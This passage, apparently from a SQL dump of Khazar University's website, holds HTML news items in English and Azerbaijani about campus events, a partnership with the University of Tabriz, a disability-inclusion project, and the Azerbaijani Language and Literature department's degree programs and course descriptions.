href=\"http://www.khazar.org/en/menus/54/school_of_economics_and_management\">School of Economics and Management</a>)</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/irade.jpg\" style=\"border:0px  #000000;width:400px;height:268px;margin:7px;float:right\"><br></p><p><br></p><p><br></p><p><br></p>\r\n<p style=\"text-align:right;background:undefined\">Irada Ahmadli</p><p style=\"text-align:right;background:undefined\">(<a href=\"http://www.khazar.org/en/menus/55/school_of_education\">School of Education</a>)&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/Kemale.jpg\" style=\"float:left;margin:7px;width:400px;height:268px\"><br></p><p><br></p><p><br></p><p>Kamala&nbsp;Aghamaliyeva<br></p><p>(<a href=\"http://www.khazar.org/en/menus/55/school_of_education\">School of Education</a>)&nbsp;  <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><img src=\"/files/multimedia/arzu.jpg\" style=\"width:400px;height:268px;margin:7px;float:right\"><br></p><p><br></p><p><br></p><p style=\"text-align:right\">Arzu Mammadova</p><p style=\"text-align:right\">(<a href=\"http://www.khazar.org/en/menus/55/school_of_education\">School of Education</a>)  <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/Elvin.jpg\" style=\"width:400px;height:268px;margin:7px;float:left\"><br></p><p><br></p><p>Elvin Karimov</p><p>(<a href=\"http://www.khazar.org/en/menus/54/school_of_economics_and_management\">School of Economics and Management</a>)  <br></p><p>(<a href=\"https://www.facebook.com/elvinkarimov2000\">facebook</a>) ; (<a href=\"https://www.instagram.com/elvin__karimov/\">instagram</a>)</p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/Resad.jpg\" style=\"width:400px;height:268px;margin:7px;float:right\"><br></p><p><br></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\">Rashad Mammadov</p><p style=\"text-align:right\">(<a href=\"http://www.khazar.org/en/menus/56/school_of_humanities_and_social_sciences\">School of Humanities and Social Sciences</a>)  <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>  </div></div>'),(4420,2620,'az','Seminar on Applied Linguistics and Research Methodology','Seminars on Applied Linguistics and Research Methodology, organised by the English Language and Literature Department...','<div>Seminars on Applied Linguistics and Research Methodology, organised by the English Language and Literature Department, will be held on 23 November, 2017. The seminar will be led by Dr Salahshoor.</div><div>Certificates of participation will be issued for the participants of two seminars who had registered till 15 November through email address or telephone:</div><div><strong>E-mail:</strong>&nbsp;<span style=\"color:#0000cc;text-decoration:underline\">nfarhadova@khazar.org</span></div><div><strong>Phone:</strong> (+ 994 12) 4217916 (230)</div>'),(4421,2620,'en','Seminars on Applied Linguistics and Research Methodology','Seminars on Applied Linguistics and Research Methodology, organised by the English Language and Literature Department...','<div><img src=\"http://www.khazar.org/files/letters/poster-6.jpg\" style=\"border:0px #000000;width:340px;height:478px;margin-right:8px;margin-bottom:8px;margin-left:8px;float:left\"><p>Seminars on Applied Linguistics and Research Methodology, organised by the English Language and Literature Department, will be held on 23 November, 2017. The seminar will be led by Dr Salahshoor.</p><p>Certificates of participation will be issued for the participants of two seminars who had registered till 15 November through email address or telephone:</p><p><strong>E-mail:</strong>&nbsp;<span class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"http://www.khazar.org/files/letters/poster-6.jpg\" rel=\"media9597365393098676\" width=\"150\" height=\"100\" style=\"text-decoration-line: underline; color: rgb(0, 0, 204);\">nfarhadova@khazar.org</span></p></div><p><strong>Phone:</strong>&nbsp;(+ 994 12)&nbsp;4217916&nbsp;(230)</p>'),(1804,1117,'en','“360 Degree Communication with Students with Disabilities” Training seminar','On May 13, 2016, a training seminar entitled “360 Degree Interaction with Disabled Students” was held for Khazar University students within the framework of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">On May 13, 2016, a\r\ntraining seminar entitled “360 Degree Interaction with Disabled Students” was\r\nheld for Khazar University students within the framework of the “Establishment\r\nof a Foundation for the Integration of Disabled People into HEIs of Azerbaijan”\r\n(ESFIDIP) TEMPUS project. The training was led by Gunel Gurbanova, volunteer\r\nfor the Khazar University Center for Students with Disabilities, who taught\r\nparticipants about disabilities, ethical treatment of disabled students and how\r\nto interact with them correctly, and inclusive education. She also explained\r\nhow to volunteer for the Center for Students with Disabilities. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Project manager Rima\r\nMammadova also made a presentation about ESFIDIP. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">24 students\r\nparticipated in the training, which included various workshops and discussions.&nbsp;</p>'),(490,321,'en','All Programs','All Programs','<p>The Khazar University Azerbaijani Language and Literature Department offers education in undergraduate and graduate levels.</p><p>At the undergraduate level, students may pursue one of\r\nthese two directions: as researchers and as teachers.</p>\r\n<p>The Azerbaijani Language and Literature Department, at\r\nthe undergraduate level, aims at developing expertise in students who have\r\nreceived basic literature and language instruction.</p>\r\n<p>Like other departments of the Khazar University,\r\nAzerbaijani Language and Literature undergraduate and graduate program consists\r\nof required and elective courses. Elective courses help students to grasp\r\nvarious aspects of both language and literature more deeply, obtain necessary\r\nresearch skills, and develop critical thinking.</p>\r\n<p>Within the graduates of the master\'s programs, students\r\nmay pursue one of three tracks:&nbsp; General Linguistics, Literature and\r\nTurkology.&nbsp;Graduate students pursue individual study and research\r\ntrajectories, supervised by the department. The broad areas of research at the\r\ndepartment include, but are not limited to: General Linguistics; Azerbaijani\r\nLanguage; Azerbaijani Literature; Turkology, etc.</p>\r\n<div><strong><br></strong></div><p><strong>UNDERGRADUATE\r\nPROGRAMS</strong></p><div><strong><br></strong></div>\r\n<p>The Bachelor’s Program in Azerbaijani Language and\r\nLiterature,</p>\r\n<p>The Bachelor’s Program in Azerbaijani Language and\r\nLiterature Education</p>\r\n<p>The Bachelor\'s degree is conferred by the university upon\r\nthe student’s application when the student has earned the minimum number of\r\ncredits required for the degree and has met the requirements for the proper\r\ndistribution of the courses. Students must complete at least 132 credits to\r\ngraduate, including 39&nbsp;credits in the major.</p>\r\n<div><strong><br></strong></div><p><strong>Each\r\nstudent must satisfy three types of requirements for the Bachelor’s\r\ndegree:&nbsp;&nbsp;</strong></p>\r\n<ul><li>University Requirements</li><li>General Education Requirements</li><li>Major and Major-related Requirements</li></ul><p><strong>University\r\nRequirements&nbsp;– includes two main components, English Language and\r\nAzerbaijani Studies, totaling 27 credits.</strong></p>\r\n<div><br></div><p><strong>English\r\nLanguage&nbsp;includes 15 semester credits of:</strong></p>\r\n<p></p><ul><li>Listening/Reading 1 (3&nbsp;credits)</li><li>Speaking/Writing 1 (3&nbsp;credits)</li><li>Listening/Reading 2 (3&nbsp;credits)</li><li>Speaking/Writing 2 (3&nbsp;credits)</li><li>English for Special Purposes (3&nbsp;credits)</li></ul><p></p>\r\n<p><strong><br></strong></p><p><strong>Azerbaijani Studies&nbsp;includes 12 semester credits of:</strong></p>\r\n<p></p><ul><li>Azerbaijani Culture (3&nbsp;credits)</li><li>History of Azerbaijan (3&nbsp;credits)</li></ul><p></p>\r\n<div><strong><br></strong></div><p><strong>General\r\nEducation Requirements&nbsp;(GER)  &nbsp;– are composed of three components with a minimum\r\nof 21 credits.</strong></p>\r\n<p>General Education Courses introduce undergraduates to the\r\nrichness and diversity of the various academic disciplines. No matter what the\r\nstudent’s specific educational goal is, general education requirements are\r\ndesigned to broaden the students’ intellectual perspective and to enable them\r\nto become educated members of society.</p>\r\n<div><strong><br></strong></div><p><strong>Regardless\r\nof their major, students must meet the GER in the Freshman and Sophomore years.\r\nStudents must complete three components of the General Education Program for 21\r\ncredits:&nbsp;</strong></p>\r\n<ul><li>Humanities</li><li>Social Sciences</li><li>Science and Technology</li></ul><p>The Humanities&nbsp;division of the program includes\r\nparticular courses in&nbsp;Literature, Language and Linguistics, Philosophy,\r\nHistory, Culture and Civilization, Fine Arts and Art History.&nbsp;Students\r\nmust take at least two courses with a minimum of 6 credits.</p>\r\n<p>The Social Sciences&nbsp;group contains courses\r\nin&nbsp;Geography, Political Science, International Relations, Law and\r\nGovernment, Anthropology, Economics, Sociology and Psychology.&nbsp;Students\r\nmust take at least two courses with a minimum of 6 credits.&nbsp;</p>\r\n<div><br></div><p><strong>The Science and Technology&nbsp;component of the General\r\nEducation Program unites three divisions:&nbsp;</strong></p>\r\n<ul><li>Physical Sciences and Mathematics</li><li>Life Sciences</li><li>Computer Sciences&nbsp;</li></ul><p>and contains, for example,&nbsp;Mathematics, Com­puter\r\nScience, Physics, Chemistry, Astronomy, Geography and Environmental Studies,\r\nGeology, Biological Sciences and Anthropology, and Medical Science.</p>\r\n<p>Students must complete at least three courses, at least\r\none from each subgroup with a minimum of 9 credits.&nbsp;</p>\r\n<p>Major Requirements&nbsp;for each major are divided into\r\ntwo groups:&nbsp;Required&nbsp;and&nbsp;Elective&nbsp;courses.</p>\r\n<p>Open Electives:&nbsp;students must take at least two\r\nadditional courses with a minimum of 6 credits. These courses can be taken from\r\nany major or non-major divisions without any restriction.</p>\r\n<p><strong><a href=\"http://www.khazar.org/files/pdf/Bachelor%E2%80%99s%20Program%20in%20Azerbaijani%20Language%20and%20Literature.pdf\">Bachelor’s Program in Azerbaijani Language and Literature</a></strong></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Bachelor%E2%80%99s%20Degree%20Program%20in%20Azerbaijani%20Language%20and%20Literature%20Education.pdf\"><strong>Bachelor’s Degree Program in Azerbaijani Language and\r\nLiterature Education</strong></a></p>\r\n<div><strong>&nbsp;</strong></div>\r\n<br><p><strong>GRADUATE\r\nPROGRAMS</strong></p><div style=\"font-weight:bold\"><strong><br></strong></div>\r\n<p>Graduate students pursue individual study and research\r\ntrajectories, supervised by the department. The master`s degree programs in the\r\ndepartment offers one of the three tracks:</p>\r\n<ul><li>General Linguistics</li><li>Azerbaijani Language</li><li>Azerbaijani Literature</li></ul><div>&nbsp;</div>\r\n<p><strong><a href=\"http://www.khazar.org/files/pdf/Graduate%20Program%20in%20Azerbaijani%20Language.pdf\">Graduate Program in Azerbaijani Language</a></strong></p>\r\n<p><strong><a href=\"http://www.khazar.org/files/pdf/Graduate%20Program%20in%20Azerbaijani%20Literature.pdf\">Graduate Program in Azerbaijani Literature</a></strong></p>\r\n<p><strong><a href=\"http://www.khazar.org/files/pdf/Graduate%20Program%20in%20Linguistics.pdf\">Graduate Program in Linguistics</a></strong></p>'),(2144,1317,'en','Founder Shares Opinion on “Needless Classes”','On September 9, 2016, an article entitled “Needless Classes” was published on the Echo Newspaper website (in Russian). In the article Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, shared his opinion on the subject...','<p><strong>Founder Shares Opinion on “Needless Classes”</strong></p><p>On September 9, 2016, an article entitled “Needless Classes” was published on the Echo Newspaper website (in Russian). In the article Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, shared his opinion on the subject.</p><p>The article is available at the following link:</p><p>&nbsp;<a href=\"http://www.echo.az/article.php?aid=105298\" target=\"_blank\">http://www.echo.az/article.php?aid=105298</a>.</p>  <div><span style=\"font-size:12pt;line-height:16.96px;font-family:\'Times New Roman\', serif\"><br></span></div>'),(2145,1318,'az','Məzunlar Assosiasiyası müsabiqə keçirir','Xəzər Universitetinin Məzunlar Assosiasiyası bu təşkilat üçün qısa ad, logo və deviz müəyyənləşdirmək üçün Xəzər Universitetinin əməkdaşları və tələbələri arasında müsabiqə elan edir...','<p>Xəzər Universitetinin Məzunlar Assosiasiyası bu təşkilat üçün qısa ad, logo və deviz müəyyənləşdirmək üçün Xəzər Universitetinin əməkdaşları və tələbələri arasında müsabiqə elan edir. Müsabiqədə qalib gələn təklifə 50 AZN miqdarında mükafat veriləcək.</p><p>Təkliflərinizi&nbsp;<a href=\"mailto:alumni@khazar.org\" target=\"_blank\">alumni@khazar.org</a>&nbsp;elektron ünvanına göndərməyinizi xahiş edirik.</p><p>Təkliflərin göndərilməsi üçün son tarix: 25 sentyabr 2016-cı il.</p><p>&nbsp;</p><p><strong><em>Xəzər Universitetinin Məzunlar Assosiasiyası</em></strong></p>'),(2146,1318,'en','Alumni Association Announces Competition','The Khazar University Alumni Association announces a competition for a short name, logo and motto for the Association...','<p>The Khazar University Alumni Association announces a competition for a short name, logo and motto for the Association. The competition is open to Khazar University students, faculty and staff members. The winner of the competition will be awarded 50 AZN.</p><p>Please send your suggestions to&nbsp;<a href=\"mailto:alumni@khazar.org\" target=\"_blank\">alumni@khazar.org</a>.</p><p>Deadline for submissions:&nbsp; 25 September 2016.</p><p>&nbsp;</p><p>Khazar University Alumni Association</p>'),(2149,1320,'az','Sumqayıtda “Dünya” məktəbinin yeni binası açıldı','2016-cı il sentyabrın 14-də “Dünya” məktəbinin Sumqayıtdakı binasının rəsmi açlış mərasimi oldu...','<p>Sentyabrın 14-də “Dünya” məktəbinin Sumqayıtdakı binasının rəsmi\r\naçılış mərasimi oldu. Mərasimdə “Dünya” məktəbinin rəhbərliyi, müəllimləri,\r\nSumqayıt “Dünya” məktəbinin rəhbərliyi, müəllim kollektivi, valideynlər və\r\nşagirdlər iştirak edirdilər.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı açılış nitqində Xəzər Universitetinin,\r\neləcə də, “««Dünya»»” məktəbinin yaranma tarixindən danışdı, Sumqayıtda\r\n“««Dünya»»” məktəbinin inkişaf planı barədə fikirlər söylədi. Hazırda&nbsp; Xəzər Universiteti və “Dünya” məktəbinin yüksək\r\nreytinqli təhsil ocaqları olduğunu qeyd edən H. İsaxanlı məktəbin əsasının\r\n1998-ci ildə qoyulduğunu, çox az şagirdlə fəaliyyətə başladığını, illər ötdükcə\r\ngenişlənərək böyük bir təhsil məbədinə çevrildiyini vurğuladı. O, həmçinin\r\n“Dünya” məktəbinin Xəzər Universiteti nəzdində fəaliyyət göstərdiyini\r\nxatırladaraq, bunu məktəbin inkişafı üçün müsbət bir hal kimi dəyərləndirdi. O,\r\nməktəbdə mövcud olan IBO – Beynəlxalq Bakalvr Təşkilatının Diplom Proqramından\r\nsöz açaraq, bu proqramda təhsil alan şagirdlərin gələcəkdə dünyanın tanınmış\r\nuniversitetlərində təhsillərini davam etdirmək imkanı qazana biləcəklərini\r\nbildirdi. H. İsaxanlı çıxışının sonunda tədbir iştirakçılarını açılış münasibəti\r\nilə təbrik etdi və məktəbdə şagirdlərin yüksək səviyyədə təhsilini təmin etmək\r\nüçün hər cür imkanlar yaradılıdığını qeyd etdi.&nbsp;</p><p>Rəsmi hissə başa çatdıqdan sonra tədbir “Dünya” məktəbi müəllim\r\nvə tələbələrinin ifasında kiçik konsert proqramı ilə davam etdi. Sonra\r\nvalideynlərə “Dünya” məktəbinin tarixini və bugününü əks etdirən film nümayiş\r\nolundu.<o:p></o:p></p> <p><br></p>'),(2150,1320,'en','Dunya School Opens New Branch in Sumgayit','On September 14, 2016, a new branch of Khazar University’s affiliate Dunya School opened in Sumgayit with an official ceremony...','<p>On September 14, 2016, a new branch of Khazar University’s\r\naffiliate Dunya School opened in Sumgayit with an official ceremony. Participants\r\nin the ceremony included Dunya School administrators and teachers, the new\r\nadministration of the Sumgayit Branch of Dunya School as well as its teachers,\r\nparents, and students. <o:p></o:p></p><p>Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, made an opening\r\nspeech about the history of Khazar University and of the Dunya School. He also\r\nspoke about plans for Dunya School’s development in Sumgayit. He noted that\r\nKhazar University and Dunya School are both highly-rated educational\r\ninstitutions. Dunya School began in 1998 with a very small group of students,\r\nbut turned into a large private school over the years as its student numbers\r\nincreased. He also mentioned that Dunya School is affiliated with Khazar\r\nUniversity, which is advantageous to the school’s development. He informed the\r\naudience about the International Baccalaureate (IBO) Diploma Program at the\r\nschool, which gives graduates an opportunity to study in leading universities\r\nworldwide. At the end of his speech, Prof. Isaxanli congratulated the students\r\nand promised that the school would create opportunities for them to obtain a\r\nhigh-level education.</p><p>\r\nAfter the official\r\npart of the ceremony, a small concert was given by Dunya School teachers and\r\nstudents. Then Dunya school parents were shown a film about the school’s\r\nhistory.&nbsp;  </p><p><br></p><br>'),(2151,1321,'az','Təbriz Universiteti ilə Xəzər Universiteti arasında memorandum imzalandı','2016-cı il sentyabrın 13-də Təbriz Universiteti ilə Xəzər Universiteti arasında memorandum imzalandı...','<p>2016-cı il sentyabrın 13-də Təbriz Universiteti ilə Xəzər \r\nUniversiteti arasında memorandum imzalandı. Təbriz Universitetindən olan \r\nnümayəndə heyəti ilə görüş Xəzər Universitetinin “Neftçilər” kampusunda baş \r\ntutdu. Təbriz Universitetinin nümayəndə heyəti universitetin rektoru \r\nMəhəmməd-Reza Pour-Məhəmmədi, Təhsil, Mədəniyyət və Tədqiqat üzrə Akademik \r\nMərkəzin Şərqi Azərbaycan bölməsinin rəhbəri Əhməd Farşbafian, İranının \r\nAəzrbaycandakı səfirliyinin nümayəndələri və digər şəxslərdən ibarət idi. Xəzər \r\nUniversiteti nümayəndə heyətinin tərkibinə universitetin təsisçisi, Direktorlar \r\nvə Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, universitetin rektoru \r\nHassan Niknafs,&nbsp; İnzibati və Tələbə İşləri üzrə prorektor İsaxan İsaxanlı, \r\nBeynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova daxil idilər. \r\n</p>\r\n<p>Görüşdə ik olaraq Təbriz Universitetin rektoru professor \r\nMəhəmməd-Reza Pour-Məhəmmədi çıxış etdi və 20.000 tələbəsi, mühəndislik, hüquq, \r\nkənd təsərrüfatı və digər sahələrdə çoxsaylı proqralar təklif edən İranın ikinci \r\nən böyük universiteti –Təbriz Universiteti barəsində görüş iştirakçılarını \r\nməlumatlandırdı. </p>\r\n<p>Daha sonra Xəzər Universitetin təsisçisi, Direktorlar və Qəyyumlar \r\nŞurasının sədri professor Hamlet İsaxanlı çıxış edərək, Xəzər Universtetinin \r\ninkişafı, universitetin beynəlmiləlləşdirmə siyasəti və Təbriz Universiteti ilə \r\nəməkdaşlıq maraqlarından danışdı. </p>\r\n<p>Danışıqlar iki universitet arasında əməkdaşlığın prinsipləri, \r\ntələbə və işçi mübadiləsi, dərəcə proqramları, tədqiqat və nəşr işləri, bakalavr \r\ntələbələrinin elmi işlərinə nəzarət və digər müştərək layihələrin müzakirəsi ilə \r\ndavam etdi. Sonda iki universitet arasında anlaşma memorandumu \r\nimzalandı.</p>  <br>'),(2152,1321,'en','Memorandum of Understanding with University of Tabriz Signed','On September 13, 2016, Khazar University hosted a delegation from the University of Tabriz...','<p>On \r\nSeptember 13, 2016, Khazar University hosted a delegation from the University of \r\nTabriz. The meeting took place on the Neftchiler campus of Khazar University. \r\n</p>\r\n<p>Participants from University of Tabriz included Dr. \r\nMohammadreza Pourmohammadi, Chancellor of Tabriz University; Dr. Ahmad \r\nFarshbafian, President of the Research and Development Center Studying \r\nAzerbaijan; and representatives of the Embassy of the Islamic Republic of \r\nIran.</p>\r\n<p>Participants from Khazar University included Professor \r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of \r\nDirectors and Trustees; Dr. Hasan Niknafs, President of the University; Dr. \r\nIsakhan Isakhanli, Vice President for Administration and Student Affairs; and \r\nTuran Jafarova, Director of the International Office. </p>\r\n<p>Dr. \r\nMohammadreza Pourmohammadi gave a brief presentation about the University of \r\nTabriz. He informed the meeting participants that University of Tabriz is the \r\nsecond largest university in Iran with more than 20,000 students and a wide \r\nrange of programs in the fields of engineering, agriculture, law, and more. </p>\r\n<p>Then Prof. \r\nHamlet Isaxanli informed the guests about Khazar University, its development and \r\ninternationalization strategy. He expressed interest in cooperation with the \r\nUniversity of Tabriz. </p>\r\n<p>The \r\nfollowing topics were discussed: cooperation between the two universities, staff \r\nand student exchange, joint degree programs, joint research and publications, \r\nsupervision of graduate students, joint academic and cultural programs, and \r\nother projects of mutual interest. A memorandum of understanding was signed.</p>'),(2153,1322,'az','ESFIDIP Tempus layihəsi çərçivəsində görüş',' \r\n\r\n2016-cı il sentyabrın 9-da Xəzər Universitetinin koordinator olduğu ESFİDİP (Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması) Tempus layihəsi çərçivəsində yerli tərəfdaşlar (Xəzər Universiteti, Sumqayıt Dövlət Universiteti, Lənkəran Dövlət Universiteti, Naxçıvan Dövlət Universiteti, Azərbaycan Dövlət İqtisad Universiteti və Əlil Təşkilatları İttifaqı) arasında Skype vasitəsilə görüş təşkil olundu...\r\n','<p>2016-cı il sentyabrın 9-da Xəzər Universitetinin koordinator \r\nolduğu ESFİDİP (Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə \r\ninteqrasiyasının təməlinin qoyulması) Tempus layihəsi çərçivəsində yerli \r\ntərəfdaşlar (Xəzər Universiteti, Sumqayıt Dövlət Universiteti, Lənkəran Dövlət \r\nUniversiteti, Naxçıvan Dövlət Universiteti,Azərbaycan Dövlət İqtisad Universiteti və Əlil Təşkilatları \r\nİttifaqı) arasında Skype vasitəsilə görüş təşkil olundu. Görüş zamanı layihə \r\nçərçivəsində görüləcək işlər – pilot proqramının planlaşdırılması və həyata \r\nkeçirilməsi, maliyyə məsələləri və layihənin davamlılığı üçün lazımi tədbirlərin \r\ntəşkil olunması haqqında müzakirələr keçirildi.</p>'),(2154,1322,'en','Meeting for ESFIDIP Project ','On September 9, 2016, a Skype meeting was held for Azerbaijani partners of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project, of which Khazar University is coordinator. Partners participating in the meeting included Khazar University, Sumgayit State University, Lankaran State University, Nakhchivan State University, Azerbaijan State Economics University and Union of Organizations for Disabled People...','<p>On \r\nSeptember 9, 2016, a Skype meeting was held for Azerbaijani partners of the \r\n“Establishment of a Foundation for the Integration of Disabled People into HEIs \r\nof Azerbaijan” (ESFIDIP) TEMPUS project, of which Khazar University is \r\ncoordinator. Partners participating in the meeting included Khazar University, \r\nSumgayit State University, Lankaran State University, Nakhchivan State \r\nUniversity, Azerbaijan State Economics University and Union of Organizations for \r\nDisabled People. Topics discussed in the meeting included upcoming plans for the \r\nproject such as the planning and implementation of a pilot program, financial \r\nissues, and measures to be taken for the sustainability of the project. </p>'),(2155,1323,'az','Yeni dərs ili başlandı','Sentyabrın 15-də Xəzər Universitetində yeni dərs ilinin başlanmasına həsr olounmuş mərasim keçirildi...','<p>Sentyabrın 15-də Xəzər Universitetində yeni dərs\r\nilinin başlanmasına həsr olounmuş mərasim keçirildi. Mərasimdə universitetə\r\nyeni qəbul olunmuş tələbələr, onların valideynləri, universitetin rəhbərliyi və\r\nprofessor-müəllim heyəti iştirak edirdilər.</p>\r\n<p>Mərasim Azərbaycanın Dövlət himninin ifası ilə\r\nbaşlandı. Universitetin rektoru Hassan Niknafs, təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı çıxış edərək, universitetə qəbul\r\nolunmuş gəncləri təbrik etdilər, onlara universitet haqqında məlumat verdilər.\r\nBildirdilər ki, universitetdə yüksək səviyyəli təhsil almaq üçün hər cür şərait\r\nyaradılmışdır, universitetin beynəlxalq əlaqələri və proqramları xarici ölkələrin\r\n– Avropa, ABŞ və Uzaq Şərq universitetlərində təhsil almaq imkanları yaradır, tələbələrin\r\nyalnız yüksək ixtisaslı mütəxəssislər kimi yetişməsinə yox, həm də geniş\r\ndünyagörüşlü və mədəni səviyyəli insanlar kimi formalaşmasına ciddi diqqət\r\nyetirilir və bunun üçün müxtəlif sənət növləri – musiqi, rəsssamlıq, xalçaçılıq\r\nvə zərgərlik&nbsp; tədris olunur. Onlar tələbələrə yorulmadan çalışmağı tövsiyə\r\netdilər, onlara uğurlar arzuladılar.</p>\r\n<p>H. İsaxanlı, H. Niknafs, prorektorlar Məhəmməd\r\nNuriyev və İsaxan İsaxanlı, İqtisadiyyat və menecment fakültəsinin dekanı\r\nİnqilab Əhmədov, Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov və\r\nTəhsil fakültəsinin dekanı Elza Səmədova ən yüksək bal toplamış 15 nəfər tələbəyə\r\ntələbə biletini və hədiyyələr təqdim etdilər, onlarla xatirə şəkli çəkildi.</p>\r\n<p>Universitetə yeni qəbul olunmuş tələbələr adından\r\nMurad Nuriyev (maliyyə ixtisası) çıxış etdi, Xəzər Universitetinin geniş\r\nimkanlarından bəhrələnərək yüksək ixtisaslı mütəxəssislər kimi yetişmək üçün\r\nciddi səy göstərəcəklərini bildirdi.</p>\r\n<p>Universitetin Musiqi və incəsənət departamentinin\r\nhazırladığı konsertdə tələbə qızlar və oğlanlardan ibarət rəqs qrupları məharətlərini\r\nnümayiş etdirdilər, Müslüm Maqomayev adına Azərbaycan Dövlət Filarmoniyasının\r\nsolisti, universitetin müəllimi Məhsəti Cabbarlının ifasında mahnılar səslənd.</p>\r\n<p>Mərasim yeni tələbələrin auditoriyalara dəvət\r\nolunması ilə başa çatdı. Auditoriyalarda onlar fakültə dekanları və departament\r\nmüdirləri ilə görüşdülər. Onlara təhsil alacaqları ixtisaslar haqqında ətraflı\r\nməluma verildi, sualları cavablandırıldı.</p>\r\n<p>Xəzər Universitetində yeni dərs ili başlandı.</p>'),(491,322,'en','Course Description','Course Description','<p><strong>AZLL 101: Azerbaijani Language (University Requirement) (6 ECTS  \r\ncredits)</strong></p>\r\n<p><strong>Prerequisite:\r\nHigh School Azerbaijani language</strong></p>\r\n<p>This course prepares students for analyzing academic texts and\r\ntechnical material in Azerbaijani. Advanced skills in academic and creative\r\nwriting and reading comprehension are honed using academic literature across\r\nvarious disciplines. The topics cover culture, environment, customs and\r\ntraditions, history, economics, etc.</p><p><br></p><p><strong>AZLL 102.&nbsp;\r\nIntroduction to Writing (6 <strong>ECTS&nbsp;</strong>credit)</strong></p>\r\n<p><strong>Prerequisite\r\nAZLL 101</strong>.</p>\r\n<p>Writing Strategy. Planning and organizing source material for\r\nwriting, revising, editing and proofreading. Summaries, critiques and syntheses\r\nof texts. Essay and creative writing. Academic and Business writing. Prose\r\nstyle.&nbsp;&nbsp;</p>\r\n<div><strong><br></strong></div><p><strong>AZLL 103:\r\nAzerbaijani Language for Foreigners (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nNONE</strong></p>\r\n<p>The main emphasis is the communicative role of four skills –\r\nreading, writing, listening, and speaking. These skills are taught within the\r\nframe of topics such as greetings, making acquaintances, congratulations and\r\nthankfulness, (dis) approvals, requests, demands, introductions, apologizing,\r\ncondolences, praying, etc.</p>\r\n<div><strong><br></strong></div><p><strong>AZLL\r\n104: Advanced Azerbaijani Language (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nAZLL 101</strong></p>\r\n<p>More complex in nature, this course covers the following\r\nproblematic areas of the Azerbaijani language. Semantic structure, meaning its\r\nnarrowing and broadening; semantic groupings in Azerbaijani language. Grammar,\r\nbasic divisions and relations within them; grammatical categories. Syntax, the\r\ntypes of phrases and the sentences; text linguistics and its problematic\r\nissues; syntax of poetry; punctuation marks and their functions.&nbsp;</p>\r\n<div><strong><br></strong></div><p><strong>AZLL\r\n105: Azerbaijani Literature (University Requirement) (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nAZLL 101</strong></p>\r\n<p>The course covers study of the Azerbaijani literature from\r\nAncient to contemporary times through historical periods. The life and works of\r\nprominent Azerbaijani poets and writers, as well as their literary works are\r\nstudied. The course also covers brief information about the history and theory\r\nof literature, main goals and objectives of literary critics, etc. Central to\r\nthe coursework is the study and discussion of selected works of prominent\r\nfigures in Azerbaijani literature.</p>\r\n<div><strong><br></strong></div><p><strong>AZLL\r\n106: Modern Azerbaijani Language 1 (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nNONE</strong></p>\r\n<p>This course discusses the sound system, phonetic phenomenon and\r\nrules of Azerbaijan literary language. It explains pronunciation norms,\r\nformation and type of writing, peculiarities of alphabet, vocabulary structure\r\nand its richness, features and the ways of development. Information is given\r\nabout principles used in the orthography of Azerbaijani. The characteristic\r\nmeaning of words, types of proper names, and their origin and usage in\r\nAzerbaijani literary language are elucidated in this course. It also gives\r\ninformation about the dictionary and its various types, rules of dictionary\r\ncompilation, and ways of word-building in the literary language.</p>\r\n<div><strong><br></strong></div><p><strong>AZLL\r\n107-307: History of Azerbaijani Literature 1-5</strong></p>\r\n<p>The course covers the emergence and evolution of the Azerbaijani\r\nliterature from the times of early folklore literature up to the present in\r\nchronological order and through the stages of its development. The life and\r\nworks of individual writers and poets who lived in different periods are\r\nstudied, their literary activities are explored, national and global issued on\r\nwhich they focused are analyzed, the literary influences of a writer/poet on\r\nothers are determined, and their creative activities are systemized in line\r\nwith the historical period they lived. Central to the coursework is the study\r\nof selected pieces of literary work by the students and discussions on these\r\nworks. The course is divided into the following 5 parts – each part lasts one\r\nsemester and consists of&nbsp;6 credits:</p>\r\n<div><strong><br></strong></div><p><strong>AZLL\r\n107: History of Azerbaijani Literature 